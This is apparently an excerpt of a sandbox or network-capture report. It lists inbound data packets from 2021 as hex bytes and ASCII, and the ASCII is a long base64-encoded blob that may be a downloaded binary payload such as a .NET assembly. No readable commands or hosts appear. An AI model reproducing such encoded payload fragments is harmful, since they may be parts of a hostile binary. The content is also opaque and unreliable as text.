2021-12-01 09:04:36 UTC	122	IN	Data Raw: 42 00 5a 00 6d 00 67 00 30 00 51 00 55 00 46 00 42 00 62 00 33 00 46 00 46 00 55 00 56 00 46 00 78 00 51 00 55 00 46 00 47 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 46 00 6c 00 42 00 52 00 6b 00 56 00 76 00 51 00 55 00 46 00 33 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 55 00 4e 00 6e 00 51 00 55 00 77 00 78 00 59 00 30 00 46 00 44 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 44 00 52 00 55 00 46 00 52 00 62 00 55 00 31 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 51 00 6d 00 39 00 42 00 56 00 6c 00 63 00 34 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 55 00 7a 00 63 00 30 00 46 00 42 00 64 00 32 00 39 Data Ascii: BZmg0QUFBb3FFUVFxQUFGQUFBQUFBRFlBRkVvQUF3b0FBQUVDQUNnQUwxY0FDZ0FBQUFBQ0FDRUFRbU1BQ2dBQUFBQUNBQm9BVlc4QUNnQUFBQUFBQUFBQWUzc0FBd29
2021-12-01 09:04:36 UTC	126	IN	Data Raw: 00 52 00 36 00 5a 00 55 00 52 00 43 00 52 00 55 00 74 00 4d 00 51 00 57 00 4e 00 53 00 51 00 32 00 30 00 34 00 54 00 45 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 6a 00 52 00 4e 00 52 00 56 00 46 00 72 00 63 00 30 00 4a 00 34 00 52 00 55 00 70 00 69 00 64 00 33 00 4e 00 42 00 51 00 55 00 46 00 79 00 59 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 4a 00 52 00 6a 00 46 00 6e 00 54 00 55 00 4e 00 42 00 5a 00 55 00 39 00 68 00 56 00 44 00 68 00 46 00 4c 00 79 00 38 00 76 00 4c 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 46 00 52 00 55 00 31 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 39 00 33 00 51 00 55 00 46 00 42 00 52 00 6c 00 6c 00 42 00 51 00 Data Ascii: R6ZURCRUtMQWNSQ204TEFBQUszTjRNRVFrc0J4RUpid3NBQUFyYzNnTW0zZ0FJRjFnTUNBZU9hVDhFLy8vLzNnTW0zZ0FHS2dBQUFFRU1BUUFBQUFBQW93QUFBRllBQ
2021-12-01 09:04:36 UTC	129	IN	Data Raw: 53 00 30 00 6c 00 5a 00 51 00 6b 00 46 00 42 00 63 00 48 00 59 00 77 00 64 00 30 00 46 00 42 00 51 00 33 00 51 00 30 00 54 00 55 00 56 00 52 00 57 00 58 00 4e 00 43 00 65 00 45 00 56 00 48 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4d 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 42 00 55 00 6b 00 4a 00 43 00 5a 00 46 00 6c 00 46 00 64 00 31 00 46 00 53 00 51 00 6b 00 46 00 74 00 54 00 32 00 46 00 55 00 4f 00 46 00 67 00 76 00 4c 00 79 00 38 00 76 00 4d 00 32 00 64 00 76 00 53 00 55 00 78 00 42 00 57 00 55 00 6c 00 69 00 64 00 33 00 4e 00 42 00 51 00 55 00 46 00 79 00 59 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 48 00 5a 00 6d 00 67 00 77 00 51 00 6b 00 46 00 42 00 55 00 57 00 78 00 4d 00 55 00 6d 00 4e 00 74 Data Ascii: S0lZQkFBcHYwd0FBQ3Q0TUVRWXNCeEVHYndzQUFBcmMzZ01tM2dBUkJCZFlFd1FSQkFtT2FUOFgvLy8vM2dvSUxBWUlid3NBQUFyYzNnTW0zZ0FHZmgwQkFBUWxMUmNt
2021-12-01 09:04:36 UTC	133	IN	Data Raw: 00 46 00 54 00 55 00 4a 00 5a 00 4e 00 58 00 42 00 4e 00 63 00 31 00 6c 00 53 00 51 00 33 00 68 00 6b 00 57 00 55 00 56 00 33 00 63 00 31 00 4a 00 44 00 65 00 45 00 56 00 48 00 61 00 6d 00 31 00 72 00 65 00 58 00 4a 00 34 00 52 00 55 00 70 00 69 00 65 00 56 00 46 00 42 00 51 00 55 00 46 00 76 00 52 00 45 00 4a 00 43 00 5a 00 46 00 6c 00 43 00 55 00 32 00 70 00 78 00 51 00 55 00 46 00 42 00 52 00 32 00 4a 00 35 00 51 00 55 00 46 00 42 00 51 00 57 00 39 00 55 00 51 00 6e 00 6c 00 7a 00 59 00 6b 00 56 00 6e 00 59 00 32 00 39 00 4a 00 55 00 55 00 46 00 42 00 51 00 32 00 68 00 4e 00 54 00 30 00 4a 00 34 00 52 00 55 00 39 00 69 00 4f 00 56 00 6c 00 42 00 51 00 55 00 46 00 76 00 64 00 45 00 4e 00 42 00 59 00 31 00 4a 00 45 00 62 00 53 00 39 00 55 00 51 00 55 00 Data Ascii: FTUJZNXBNc1lSQ3hkWUV3c1JDeEVHam1reXJ4RUpieVFBQUFvREJCZFlCU2pxQUFBR2J5QUFBQW9UQnlzYkVnY29JUUFBQ2hNT0J4RU9iOVlBQUFvdENBY1JEbS9UQU
2021-12-01 09:04:36 UTC	137	IN	Data Raw: 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00 7a 00 41 00 33 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 6c 00 65 00 6e 00 64 00 42 00 51 00 55 00 46 00 52 00 63 00 55 00 6c 00 6e 00 53 00 55 00 52 00 6d 00 56 00 48 00 64 00 42 00 51 00 55 00 46 00 52 00 63 00 55 00 68 00 6e 00 53 00 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 76 00 5a 00 55 00 46 00 75 00 63 00 7a 00 6c 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 6c 00 4a 00 51 00 30 00 45 00 7a 00 4d 00 44 00 6c 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 32 00 56 00 36 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 57 00 64 00 4a 00 52 00 47 00 5a 00 55 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 78 00 53 00 47 00 64 00 4b 00 4e Data Ascii: UtpSUNBMzA3QUFBRUtoNENlendBQUFRcUlnSURmVHdBQUFRcUhnSW9ZZ0FBQ2lvZUFuczlBQUFFS2lJQ0EzMDlBQUFFS2g0Q2V6NEFBQVFxSWdJRGZUNEFBQVFxSGdKN
2021-12-01 09:04:36 UTC	142	IN	Data Raw: 00 4d 00 53 00 74 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 30 00 74 00 48 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 78 00 53 00 47 00 64 00 4b 00 4e 00 32 00 5a 00 33 00 51 00 55 00 46 00 43 00 51 00 32 00 39 00 70 00 51 00 57 00 64 00 4f 00 4f 00 57 00 5a 00 33 00 51 00 55 00 46 00 43 00 51 00 32 00 39 00 6c 00 51 00 57 00 35 00 31 00 51 00 55 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 55 00 6c 00 44 00 51 00 54 00 4d 00 79 00 51 00 55 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 44 00 52 00 44 00 5a 00 54 00 52 00 46 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 4a 00 5a 00 30 00 6c 00 45 00 5a 00 6c 00 6c 00 46 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 49 00 5a 00 30 00 6c 00 76 00 57 00 57 00 64 00 42 00 51 00 55 00 4e 00 Data Ascii: MStBQUFFS2g0Q0tHSUFBQW9xSGdKN2Z3QUFCQ29pQWdOOWZ3QUFCQ29lQW51QUFBQUVLaUlDQTMyQUFBQUVLaDRDZTRFQUFBUXFJZ0lEZllFQUFBUXFIZ0lvWWdBQUN
2021-12-01 09:04:36 UTC	146	IN	Data Raw: 4a 00 43 00 53 00 46 00 56 00 58 00 51 00 55 00 46 00 42 00 51 00 6b 00 56 00 33 00 59 00 31 00 4a 00 43 00 65 00 58 00 64 00 49 00 52 00 56 00 46 00 6b 00 64 00 6b 00 4e 00 33 00 51 00 55 00 46 00 44 00 64 00 48 00 70 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 43 00 53 00 55 00 4e 00 4c 00 53 00 31 00 46 00 43 00 51 00 55 00 46 00 76 00 4e 00 6c 00 4e 00 32 00 4c 00 79 00 38 00 76 00 4f 00 54 00 52 00 50 00 52 00 57 00 64 00 4d 00 4b 00 30 00 5a 00 72 00 55 00 55 00 46 00 42 00 51 00 6e 00 52 00 32 00 51 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 64 00 30 00 4e 00 6a 00 4e 00 54 00 52 00 43 00 51 00 55 00 46 00 5a 00 56 00 45 00 4e 00 43 00 52 00 55 00 6c 00 4c 00 53 00 48 00 4e 00 42 00 51 00 55 00 46 00 76 00 53 00 47 00 49 00 30 00 57 00 55 Data Ascii: JCSFVXQUFBQkV3Y1JCeXdIRVFkdkN3QUFDdHplQXliZUFCSUNLS1FCQUFvNlN2Ly8vOTRPRWdMK0ZrUUFBQnR2Q3dBQUN0d0NjNTRCQUFZVENCRUlLSHNBQUFvSGI0WU
2021-12-01 09:04:36 UTC	150	IN	Data Raw: 00 57 00 63 00 7a 00 52 00 32 00 64 00 43 00 56 00 6b 00 78 00 47 00 5a 00 7a 00 4e 00 48 00 5a 00 30 00 46 00 74 00 54 00 7a 00 6c 00 57 00 52 00 45 00 4a 00 6e 00 51 00 30 00 70 00 4c 00 65 00 48 00 64 00 61 00 51 00 6d 00 64 00 45 00 4e 00 55 00 31 00 43 00 64 00 31 00 70 00 43 00 5a 00 30 00 52 00 61 00 51 00 54 00 6c 00 6e 00 63 00 6b 00 4a 00 6e 00 51 00 56 00 4a 00 4e 00 54 00 56 00 56 00 30 00 53 00 47 00 64 00 42 00 65 00 45 00 30 00 30 00 52 00 58 00 52 00 44 00 5a 00 30 00 4e 00 34 00 53 00 6b 00 4e 00 56 00 4d 00 55 00 6c 00 6e 00 51 00 58 00 4e 00 4a 00 53 00 56 00 6c 00 76 00 53 00 57 00 64 00 42 00 4d 00 30 00 31 00 4a 00 57 00 57 00 39 00 4a 00 5a 00 30 00 4e 00 51 00 54 00 6b 00 6c 00 5a 00 62 00 30 00 6c 00 6e 00 51 00 6d 00 68 00 49 00 Data Ascii: WczR2dCVkxGZzNHZ0FtTzlWREJnQ0pLeHdaQmdENU1Cd1pCZ0RaQTlnckJnQVJNTVV0SGdBeE00RXRDZ0N4SkNVMUlnQXNJSVlvSWdBM01JWW9JZ0NQTklZb0lnQmhI
2021-12-01 09:04:36 UTC	154	IN	Data Raw: 42 00 51 00 56 00 46 00 42 00 55 00 55 00 46 00 4c 00 55 00 56 00 6c 00 42 00 51 00 55 00 4e 00 7a 00 51 00 55 00 45 00 30 00 51 00 58 00 42 00 52 00 51 00 55 00 4a 00 42 00 51 00 6b 00 46 00 42 00 64 00 48 00 68 00 6e 00 51 00 55 00 46 00 4c 00 64 00 30 00 46 00 45 00 5a 00 30 00 4e 00 76 00 51 00 55 00 46 00 46 00 51 00 55 00 56 00 42 00 51 00 6e 00 46 00 4e 00 5a 00 30 00 46 00 42 00 53 00 31 00 46 00 42 00 54 00 30 00 46 00 4c 00 63 00 30 00 46 00 42 00 55 00 55 00 46 00 52 00 51 00 55 00 64 00 4e 00 61 00 6b 00 46 00 42 00 51 00 58 00 42 00 42 00 51 00 6c 00 56 00 42 00 64 00 55 00 46 00 42 00 51 00 6b 00 46 00 43 00 51 00 55 00 46 00 6b 00 55 00 30 00 31 00 42 00 51 00 55 00 4e 00 72 00 51 00 55 00 5a 00 52 00 51 00 7a 00 64 00 42 00 51 00 55 00 56 Data Ascii: BQVFBUUFLUVlBQUNzQUE0QXBRQUJBQkFBdHhnQUFLd0FEZ0NvQUFFQUVBQnFNZ0FBS1FBT0FLc0FBUUFRQUdNakFBQXBBQlVBdUFBQkFCQUFkU01BQUNrQUZRQzdBQUV
2021-12-01 09:04:36 UTC	158	IN	Data Raw: 00 46 00 4a 00 56 00 45 00 46 00 52 00 51 00 55 00 46 00 56 00 5a 00 7a 00 42 00 42 00 51 00 55 00 5a 00 72 00 51 00 6b 00 68 00 33 00 52 00 57 00 39 00 42 00 61 00 45 00 31 00 43 00 51 00 55 00 46 00 43 00 5a 00 45 00 52 00 33 00 51 00 55 00 46 00 58 00 55 00 55 00 56 00 6d 00 51 00 56 00 4e 00 6e 00 51 00 30 00 56 00 33 00 52 00 55 00 46 00 42 00 53 00 30 00 31 00 51 00 51 00 55 00 46 00 43 00 57 00 6b 00 46 00 53 00 4f 00 45 00 4a 00 4c 00 51 00 55 00 6c 00 55 00 51 00 56 00 46 00 42 00 51 00 54 00 42 00 42 00 56 00 55 00 46 00 42 00 52 00 6d 00 74 00 43 00 53 00 48 00 64 00 46 00 62 00 30 00 46 00 6f 00 54 00 55 00 4a 00 42 00 51 00 55 00 52 00 30 00 51 00 6c 00 46 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 5a 00 42 00 55 00 32 00 64 00 44 00 52 00 Data Ascii: FJVEFRQUFVZzBBQUZrQkh3RW9BaE1CQUFCZER3QUFXUUVmQVNnQ0V3RUFBS01QQUFCWkFSOEJLQUlUQVFBQTBBVUFBRmtCSHdFb0FoTUJBQUR0QlFBQVdRRWZBU2dDR
2021-12-01 09:04:36 UTC	161	IN	Data Raw: 52 00 7a 00 52 00 4a 00 55 00 6b 00 46 00 52 00 51 00 7a 00 42 00 48 00 62 00 30 00 6c 00 53 00 51 00 56 00 46 00 45 00 53 00 30 00 64 00 76 00 53 00 56 00 4a 00 42 00 55 00 55 00 51 00 78 00 52 00 32 00 35 00 42 00 55 00 6b 00 46 00 52 00 51 00 57 00 64 00 48 00 4e 00 45 00 6c 00 53 00 51 00 56 00 46 00 43 00 54 00 45 00 63 00 30 00 53 00 56 00 4a 00 42 00 55 00 55 00 49 00 79 00 52 00 7a 00 52 00 4a 00 55 00 6b 00 46 00 52 00 51 00 32 00 68 00 48 00 4e 00 45 00 6c 00 53 00 51 00 56 00 46 00 45 00 5a 00 30 00 64 00 78 00 57 00 55 00 46 00 42 00 55 00 55 00 46 00 4d 00 52 00 7a 00 5a 00 5a 00 51 00 55 00 46 00 52 00 51 00 54 00 4a 00 48 00 4d 00 48 00 4e 00 53 00 51 00 56 00 46 00 45 00 5a 00 30 00 64 00 78 00 57 00 55 00 46 00 42 00 55 00 55 00 46 00 4d Data Ascii: RzRJUkFRQzBHb0lSQVFES0dvSVJBUUQxR25BUkFRQWdHNElSQVFCTEc0SVJBUUIyRzRJUkFRQ2hHNElSQVFEZ0dxWUFBUUFMRzZZQUFRQTJHMHNSQVFEZ0dxWUFBUUFM
2021-12-01 09:04:36 UTC	165	IN	Data Raw: 00 77 00 51 00 54 00 64 00 44 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 47 00 64 00 42 00 59 00 55 00 68 00 56 00 54 00 56 00 52 00 45 00 55 00 55 00 52 00 76 00 54 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 4a 00 42 00 52 00 44 00 52 00 78 00 57 00 46 00 4a 00 4e 00 54 00 30 00 46 00 50 00 64 00 33 00 70 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 5a 00 51 00 57 00 39 00 54 00 51 00 58 00 42 00 42 00 64 00 7a 00 68 00 42 00 5a 00 6b 00 52 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 73 00 5a 00 30 00 52 00 59 00 53 00 55 00 4e 00 72 00 52 00 45 00 56 00 42 00 51 00 55 00 31 00 4f 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 43 00 4d 00 47 00 52 00 72 00 55 00 6b 00 31 00 53 00 51 00 55 00 Data Ascii: wQTdDOEFBQUFBbGdBYUhVTVREUURvTVFBQUFBQ1JBRDRxWFJNT0FPd3pBQUFBQUpZQW9TQXBBdzhBZkRRQUFBQUFsZ0RYSUNrREVBQU1OUUFBQUFDV0FCMGRrUk1SQU
2021-12-01 09:04:36 UTC	169	IN	Data Raw: 58 00 42 00 6e 00 52 00 45 00 4a 00 55 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 4f 00 54 00 55 00 6f 00 76 00 61 00 46 00 4e 00 77 00 51 00 56 00 42 00 47 00 55 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6c 00 42 00 5a 00 47 00 74 00 55 00 4b 00 30 00 5a 00 4c 00 64 00 30 00 46 00 49 00 52 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 52 00 44 00 6c 00 44 00 5a 00 6a 00 52 00 56 00 63 00 6e 00 64 00 44 00 53 00 56 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 55 00 74 00 6b 00 52 00 53 00 39 00 6f 00 55 00 33 00 6c 00 42 00 54 00 44 00 56 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 57 00 55 00 45 00 35 00 55 00 58 00 59 00 72 00 52 00 6b 00 78 00 56 00 51 Data Ascii: XBnREJUd0FBQUFDV0FOTUovaFNwQVBGUEFBQUFBSllBZGtUK0ZLd0FIRkFBQUFBQWxnRDlDZjRVcndDSVVBQUFBQUNXQUtkRS9oU3lBTDVRQUFBQUFKWUE5UXYrRkxVQ
2021-12-01 09:04:36 UTC	174	IN	Data Raw: 00 56 00 54 00 68 00 42 00 5a 00 55 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 57 00 55 00 45 00 32 00 55 00 32 00 4a 00 30 00 52 00 6c 00 51 00 77 00 51 00 69 00 74 00 4a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 4e 00 57 00 64 00 48 00 61 00 45 00 78 00 6d 00 5a 00 31 00 5a 00 51 00 64 00 30 00 56 00 42 00 5a 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 47 00 31 00 42 00 57 00 45 00 55 00 33 00 4c 00 33 00 68 00 57 00 51 00 55 00 46 00 59 00 65 00 55 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 57 00 53 00 74 00 55 00 54 00 55 00 4a 00 42 00 52 00 55 00 56 00 43 00 61 00 45 00 6c 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00 31 00 5a 00 30 00 64 00 6f 00 54 00 47 00 5a 00 6e 00 56 00 6c 00 46 00 Data Ascii: VThBZUNBQUFBQUFKWUE2U2J0RlQwQitJQUFBQUFBNWdHaExmZ1ZQd0VBZ1FBQUFBRG1BWEU3L3hWQUFYeUJBQUFBQUlZWStUTUJBRUVCaElFQUFBQUE1Z0doTGZnVlF
2021-12-01 09:04:36 UTC	178	IN	Data Raw: 4a 00 47 00 53 00 47 00 39 00 43 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 34 00 5a 00 31 00 5a 00 68 00 52 00 56 00 70 00 46 00 56 00 57 00 56 00 33 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 52 00 30 00 4a 00 54 00 63 00 30 00 46 00 78 00 55 00 6c 00 49 00 34 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 56 00 6c 00 47 00 53 00 6e 00 64 00 4f 00 4d 00 30 00 5a 00 49 00 4d 00 45 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 58 00 68 00 6e 00 57 00 46 00 5a 00 43 00 53 00 6e 00 64 00 56 00 5a 00 6d 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 48 00 51 00 6c 00 52 00 72 00 53 00 48 00 52 00 6f 00 55 00 69 Data Ascii: JGSG9CQUFBQUFBQUF4Z1ZhRVpFVWV3RUFBQUFBQUFER0JTc0FxUlI4QVFBQUFBQUFBTVlGSndOM0ZIMEJBQUFBQUFBQXhnWFZCSndVZmdFQUFBQUFBQURHQlRrSHRoUi
2021-12-01 09:04:36 UTC	182	IN	Data Raw: 00 48 00 4e 00 42 00 63 00 6d 00 64 00 48 00 55 00 33 00 42 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 31 00 42 00 46 00 54 00 31 00 5a 00 42 00 56 00 33 00 56 00 42 00 57 00 6e 00 56 00 73 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6b 00 77 00 61 00 45 00 46 00 69 00 51 00 55 00 73 00 34 00 51 00 6d 00 38 00 32 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 71 00 59 00 55 00 56 00 47 00 55 00 55 00 5a 00 79 00 64 00 30 00 64 00 7a 00 63 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 54 00 52 00 53 00 52 00 33 00 64 00 44 00 64 00 30 00 46 00 69 00 55 00 32 00 78 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 5a 00 6f 00 52 00 6c 00 56 00 43 00 Data Ascii: HNBcmdHU3BRQUFBQUNHQ1BFT1ZBV3VBWnVsQUFBQUFJWUkwaEFiQUs4Qm82VUFBQUFBaGdqYUVGUUZyd0dzcFFBQUFBQ0dDRTRSR3dDd0FiU2xBQUFBQUlZSVZoRlVC
2021-12-01 09:04:36 UTC	186	IN	Data Raw: 48 00 65 00 56 00 46 00 45 00 56 00 30 00 46 00 52 00 56 00 33 00 42 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 54 00 4a 00 6e 00 57 00 56 00 46 00 42 00 54 00 6c 00 6c 00 43 00 52 00 48 00 46 00 72 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 6b 00 78 00 51 00 30 00 31 00 72 00 51 00 54 00 46 00 33 00 52 00 56 00 64 00 78 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 52 00 30 00 4e 00 4d 00 4d 00 45 00 6c 00 46 00 51 00 55 00 52 00 59 00 51 00 56 00 49 00 72 00 63 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 52 00 58 00 64 00 32 00 53 00 6b 00 46 00 4f 00 5a 00 30 00 4a 00 4b 00 4e 00 6d 00 74 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 5a 00 32 00 4a 00 44 00 65 00 45 00 46 Data Ascii: HeVFEV0FRV3BBQUFBQUlZSTJnWVFBTllCRHFrQUFBQUFoZ2kxQ01rQTF3RVdxUUFBQUFDR0NMMElFQURYQVIrcEFBQUFBSVlJRXd2SkFOZ0JKNmtBQUFBQWhnZ2JDeEF
2021-12-01 09:04:36 UTC	188	IN	Data Raw: 00 42 00 51 00 57 00 64 00 33 00 51 00 6e 00 68 00 42 00 55 00 57 00 4e 00 5a 00 4e 00 57 00 64 00 47 00 4d 00 58 00 46 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 45 00 51 00 55 00 6c 00 4e 00 52 00 30 00 52 00 43 00 61 00 6d 00 35 00 42 00 57 00 55 00 4e 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 54 00 55 00 45 00 76 00 55 00 57 00 39 00 59 00 52 00 30 00 39 00 6e 00 51 00 6d 00 6b 00 32 00 62 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 5a 00 33 00 64 00 42 00 52 00 45 00 52 00 70 00 53 00 56 00 6b 00 32 00 55 00 55 00 64 00 58 00 63 00 57 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 52 00 42 00 54 00 48 00 64 00 52 00 54 00 46 00 4a 00 71 00 63 00 55 00 46 00 68 00 52 00 33 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: BQWd3QnhBUWNZNWdGMXFnQUFBQUNEQUlNR0RCam5BWUNxQUFBQUFJTUEvUW9YR09nQmk2b0FBQUFBZ3dBRERpSVk2UUdXcWdBQUFBQ0RBTHdRTFJqcUFhR3FBQUFBQU
2021-12-01 09:04:36 UTC	192	IN	Data Raw: 55 00 4a 00 52 00 51 00 6c 00 68 00 48 00 55 00 55 00 46 00 42 00 51 00 6d 00 64 00 43 00 55 00 30 00 64 00 52 00 51 00 55 00 46 00 43 00 64 00 30 00 4a 00 6a 00 55 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 51 00 6c 00 52 00 52 00 51 00 55 00 46 00 42 00 51 00 31 00 46 00 44 00 56 00 56 00 42 00 52 00 51 00 55 00 46 00 44 00 5a 00 30 00 46 00 6d 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 52 00 52 00 48 00 5a 00 52 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 52 00 31 00 42 00 42 00 51 00 57 00 64 00 42 00 5a 00 30 00 4a 00 78 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 6d 00 4e 00 52 00 51 00 55 00 46 00 42 00 51 00 6b 00 46 00 43 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 43 00 55 00 55 00 4e 00 56 00 55 00 46 00 46 00 42 00 51 Data Ascii: UJRQlhHUUFBQmdCU0dRQUFCd0JjUUFBQUNBQlRRQUFBQ1FDVVBRQUFDZ0FmT0FBQUFRRHZRUUFBQVFDR1BBQWdBZ0JxUkFBQUF3QmNRQUFBQkFCVFFBQUFCUUNVUFFBQ
2021-12-01 09:04:36 UTC	196	IN	Data Raw: 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 Data Ascii: QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF
2021-12-01 09:04:36 UTC	200	IN	Data Raw: 64 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 Data Ascii: dQUUFBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ0
